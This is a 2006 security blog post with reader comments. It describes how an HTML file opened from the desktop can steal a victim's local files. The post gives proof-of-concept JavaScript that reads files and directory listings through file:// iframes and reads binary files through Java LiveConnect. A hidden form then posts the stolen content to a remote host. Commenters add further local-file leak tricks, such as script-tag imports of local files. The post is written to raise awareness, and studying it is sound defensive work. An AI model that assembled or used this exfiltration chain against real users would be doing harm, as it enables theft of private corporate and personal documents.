Web Pages from Hell

Mon, 11 Sep 2006 21:23:31 GMT

You open a html file but you are not aware. You check the content but you don't know.

I have just received the report for the third quoter of 2006 by email. My boss says that from now on we will use simple html pages because it is more accessible. Well, I don't know much about accessibility and I don't really care. I click on the attachment. The html document stores itself no the desktop. Double click and I have it open in Firefox.

What happens next is without any doubt a security breach. Anonymous attacker has just compromised and stole important corporate documents.

Unfortunately, this story is far from being far-fetched. This is something that can happen to your organization and the technology required is here today and ready for use. Concerning, isn't it? That's the reason why I went a bit deeper into this topic, figuring out various attack vectors and composing a simple toolkit to mitigate the risk. The following post reveals some of my findings and provides disjointed source code as a proof of concept.

In this example we need Java, a single iframe, a form and a remote storage point. The iframe is used as data retrieval mechanism for html, xml and text files. Java is used as data retrieval mechanism for binary files. The form is used to send the data back to a remote storage point in a form of multiple POST request.

The first stage is to compose an iframe. You must be aware that iframes are areas where content can be rendered. This content is retrieved by a URL. The URL describes the location and also the protocol in use, which can be HTTP, HTTPS, FTP, FILE and maybe something else depending of your browser. Obviously FILE sounds quite interesting. This protocol allows us to look and browse through our system or open local files inside our browsers. Just entering file:///C:/ in your browser window should open C:\ drive.

It is said that iframes are secured in a way that different domains cannot access each other content. This restriction is applied with the same origin model. In simple terms, if a page from a.com creates hidden iframe of b.com, no communication is allowed between them. This means thata.com cannot read what is inside b.com iframe.

In a way this is secure, however the FILE protocol is excluded from this rule simply because file paths don't have domains. So, an html file loaded from file:///C:/file.html can open an iframe of file:///D:/file.html and read its content. Of course, it must be noted that no external resource can read files from the local system because the same origin model imply that the protocol must be the same in order to allow communication. This means that HTTP cannot communicate with FILE or FTP.

To cut the story short I will go into an example how all this theory can be used in practice.

A file on the file system can open any other file inside an iframe.

<iframe src="file:///C:/test.txt"></iframe>

In order to retrieve the content of this file we have to wait for the iframe to load and then just grab its document body.

<iframe src="file:///C:/test.txt" onload="getContent(this)"></iframe>
<script>
  function getContent(iframe) {
    var content = '';
    if (iframe.contentDocument) {
      content = iframe.contentDocument.body.innerHTML; 
    } else if (iframe.contentWindow) {
      content = iframe.contentWindow.document.body.innerHTML;
    } else if (iframe.document) {
      content = iframe.document.body.innerHTML;
    }
    alert(content);
  }
</script>

The snippet above will display the content of an iframe which currently holds file:///C:/test.txt.

Opening files is not fun although probably you already can see some of the potentials. Let's try something more funky by replacing file:///C:/test.txt with file:///C:/. This should open C:\ drive.

<iframe src="file:///C:/" onload="getContent(this)"></iframe>
<script>
  function getContent(iframe) {
    var content = '';
    if (iframe.contentDocument) {
      content = iframe.contentDocument.body.innerHTML; 
    } else if (iframe.contentWindow) {
      content = iframe.contentWindow.document.body.innerHTML;
    } else if (iframe.document) {
      content = iframe.document.body.innerHTML;
    }
    alert(content);
  }
</script>

Potentially, the snippet above has just listed your C:\ drive into an alert box. Of course this will work on most browsers but not in IE. IE is secure in this respect, however just keep in mind that IE supports ActiveX which makes the entire process a lot more simpler in some situations.

The next step every attacker probably will do is to create a recursive function which lists directories and upload interesting content on a remote server. If you try to do this you will see that the process is not as trivial as it seams because as soon as your iframe tries to open a binary file, your browser will prompt you with a download box. Of course, the attacker can try to avoid doc, xls and other types of binary files but today this is where all interesting corporate information is stored into.

So, in order to retrieve a binary file another technology needs to be used: Java and more precisely LiveConnect which is supported by Firefox and Opera. Let's see how our binary retrieving code looks like:

<script>
  function liveJaveGetContent(URL) {
    var result = '';
    var destination = new java.net.URL(URL);
    var input = java.io.DataInputStream(destination.openStream());

    while ((line = input.readLine()) != null) {
      result += line;
      result += java.lang.System.getProperty('line.separator');
    }

    input.close();
    return result;
  }
</script>

I must admit that the code above is not as generic as it can be but... well, no time.

So, the function above can read binary files and return them in form of a string. This string is quite valuable for the attackers but first it has to be send to a remote location. This can be achieved in many ways, however my favorite one requires something as simple as a html form.

<form name="sendContentForm" method="post" action="http://path/to/remote/location">
  <textarea name="content"></textarea>
  <input type="submit"/>
</form>

This is it. When we call sendContentFrom.submit() the data will be transfered from locahost to the remote location. Of course this form wont be able to transport too much content. For that reason we have to do some partitioning and send the data in blocks.I will let this to you to play around.

The conclusion is that you should not trust anything that you open in your browser, unless you completely disable JavaScrpt, Java and Flash. The next time you open a simple html page from your desktop, keep in mind that you may have opened a security hole in your network too. While previewing the document the attacker is able to enumerate the internal infrastructure of your organization by listing mounted shares. These share may contain documents, tables and databases that might be valuable to some individuals and organizations.

BTW, just closing the browser window wont stop this attack continuing in the background. Many browsers can be made to stay alive even after you click on the X button. Maybe I will cover this some other time.

antyanty
I've just tested this with Firefox and Opera. First: This does only work if you call the HTML file localy right? Second: You don't need the iframe. You can list directories with the Java-Function as well. It would be cool to get this working if the file is not localy called... Thanks for sharing!
pdppdp
Yes anty, You are right. The reason I presented it this way was because sometimes JRE is not installed in which case you cannot read binary files, but you can read text files with iframe. It it the same when listing directories. Also, you can use the XMLHttpRequest object, however, to me it seams that it works on some setups but it doesn't on others. Yes, this technique works only when the file is executed locally due to the same origin policy. It will not work remotely unless you find a browser bug but this is a completely different story. However, there are situations where a plugin or an extension unconsciously caches web content on the file system and presents it to the user. This was the case with Sage cross-context scripting vulnerability. The complete sourcode of the techniques presented here are available at AttackAPI project page.
offtopicofftopic
This techniques widly used to exploit Internet Explorer "embedded" in different applications. 2 old examples http://www.securityfocus.com/bid/14385 http://www.securityfocus.com/archive/1/433360
offtopicofftopic
About Internet Explorer. While IE (in XP and W2K3) per se by default locks active content, many applications which reuse IE starts it “unlocked” mode.
ravikiran.kravikiran.k
Great Work,Can i get your appointment for a talk.
pdppdp
ravikiran.k, sure. You will be able to get my gmail address from various security lists. Add me in and if I am online drop me a message.
MARCOS OLIVEIRAMARCOS OLIVEIRA
My problem is that i have IIS and a virtual directory... could you please tell me if it is possible to use an iframe to get a html page from, for example, c:\test\x.htm... Be aware that my VD is different from the c:\test. Thank you so much. Marcos Oliveira
pdppdp
MARCOS, maybe I don't quite understand your question but from what I see you want to retrieve the content of c:\test\x.htm from http://www.example.com for example. That is not possible.
PartyOf1PartyOf1
Do all the attack functions work if IE or FF are runing inside of something like SandBoxIE? Does the attack also try to work on a Virtual machine?
pdppdp
the Java live connect will work on FF and Opera only. The rest should work on all browsers
crash_daemonicuscrash_daemonicus
well, unless your target file is a configuration file that would be in correct syntax as a JS file.... then you simply and call each configuration variable by name but anymore it'd be difficult unless your target is a specific program's configuration file because anymore they have [type of information] lines that will kill the script but if they dont then there might be a problem lol
crash_daemonicuscrash_daemonicus
I guess another classic example of information disclosure would be using res:// calls to DLL's to load images only there in certain versions of windows and then testing the image's width and height information with javascript... PS. last post my example HTML didnt post:
<script src=C:\file.ext>
pdppdp
crash_daemonicus, I totally agree with you, however you can still get certain parts of the file if the information that you are interested in is somewhere at the top of the file. The way you do that is by importing the file as script and watching for errors. Some JS interpreters return not only the type of error that is generated but also the actual code line, which is exactly what you are after.
sushantsushant
i am confused. my question is Can i open C drive document on client browser by giving a path in iframe example can i do this ??
tomtom
this web page looks weird like a programmer T-shirt
pdppdp
well :) heh...